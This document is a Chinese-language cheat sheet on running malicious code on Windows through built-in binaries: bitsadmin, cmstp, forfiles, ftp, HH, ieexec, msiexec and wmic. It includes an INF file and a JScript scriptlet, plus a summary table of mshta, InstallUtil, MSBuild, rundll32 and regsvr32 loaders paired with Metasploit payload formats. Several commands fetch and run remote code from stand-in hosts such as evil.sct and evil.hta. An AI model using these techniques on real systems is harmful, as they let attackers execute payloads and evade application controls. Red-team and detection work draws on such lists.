在windows上执行恶意代码2

bitsadmin

文件流
bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\cmd.exe & bitsadmin /SetNotifyCmdLine 1 c:\data\1.txt:cmd.exe NULL & bitsadmin /RESUME 1 & bitsadmin /complete 1

下载
bitsadmin /create 1 & bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\autoruns.exe & bitsadmin /RESUME 1 & bitsadmin /complete 1

复制
bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\cmd.exe & bitsadmin /RESUME 1 & bitsadmin /Complete 1 & bitsadmin /reset

执行
bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\cmd.exe & bitsadmin /SetNotifyCmdLine 1 c:\data\cmd.exe NULL & bitsadmin /RESUME 1 & bitsadmin /Reset

拆解

• bitsadmin /create 1 创建一个名为1的任务
• bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\data\cmd.exe，前者源地址，后者落地地址
• bitsadmin /SetNotifyCmdLine 1 c:\data\cmd.exe NULL 执行exe的关键
• bitsadmin /RESUME 1
• bitsadmin /Complete 1
• bitsadmin /Reset Deletes all jobs in the manager

cmstp.exe

需要构造inf文件，重点在于[UnRegisterOCXSection]节点

[version]
Signature=$chicago$
AdvancedINF=2.5

[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection

[UnRegisterOCXSection]
%11%\scrobj.dll,NI,https://evil.sct

[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Yay"
ShortSvcName="Yay"

需要远程sct文件

<?XML version="1.0"?>
<scriptlet>
<registration 
    progid="PoC"
    classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
    <!-- regsvr32 /s /u /i:http://example.com/file.sct scrobj.dll -->

    <!-- .sct files when downloaded, are executed from a path like this -->
    <!-- Please Note, file extenstion does not matter -->
    <!-- Though, the name and extension are arbitary.. -->
    <!-- c:\users\USER\appdata\local\microsoft\windows\temporary internet files\content.ie5\2vcqsj3k\file[2].sct -->
    <!-- Based on current research, no registry keys are written, since call "uninstall" -->
    <!-- You can either execute locally, or from a url -->
    <script language="JScript">
        <![CDATA[
                // calc.exe should launch, this could be any arbitrary code.
                // What you are hoping to catch is the cmdline, modloads, or network connections, or any variation
            var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); 
        ]]>
</script>
</registration>
</scriptlet>

cmstp.exe /ni /s c:\evil.inf 虽然本地或远程inf文件均可，但实际测试时用本地inf才能触发计算器，相隔20秒。
注意： 因为[strings]节点的问题，执行后桌面上会多出一个网路连接的图标。

Forfiles

forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe

FTP

重点在于ftp -s
echo !calc.exe > ftpcommands.txt && ftp -s:ftpcommands.txt

HH.exe

执行时出现下载提示
HH.exe c:\windows\system32\calc.exe

ieexec.exe

执行路径

• C:\Windows\Microsoft.NET\Framework\v2.0.50727\ieexec.exe
• C:\Windows\Microsoft.NET\Framework64\v2.0.50727\ieexec.exe
  但是执行失败
  ieexec.exe https://live.sysinternals.com/autoruns.exe

msiexec

本地远程msi文件均可
msiexec /i /q payload.msi

wmic

wmic.exe process call create calc

总结

执行命令行	payload生成	payload加载	备注
START /B cscript.exe //Nologo %temp%\msf.vbs	-f vbs	无	基于vbscript或js，调用wscript.shell执行
mshta http://evil.hta	-f hta	无	同上
InstallUtil.exe /logtoconsole=false /logfile= /u installUtil.dll	-f csharp	地址	需要先执行生成csc.exe /target:library /unsafe /out:installUtil.dll C:\payload.cs
MSBuild.exe c:\payload.xml	-f csharp	地址	无
rundll32.exe C:\calc.dll, EntryPoint	-f dll	无	rundll32.exe [目标DLL]，[要执行的函数名称] [函数参数]
regsvr32 /s /n /u /i:http://evil.sct	无	无	exploit/windows/misc/regsvr32_applocker_bypass_server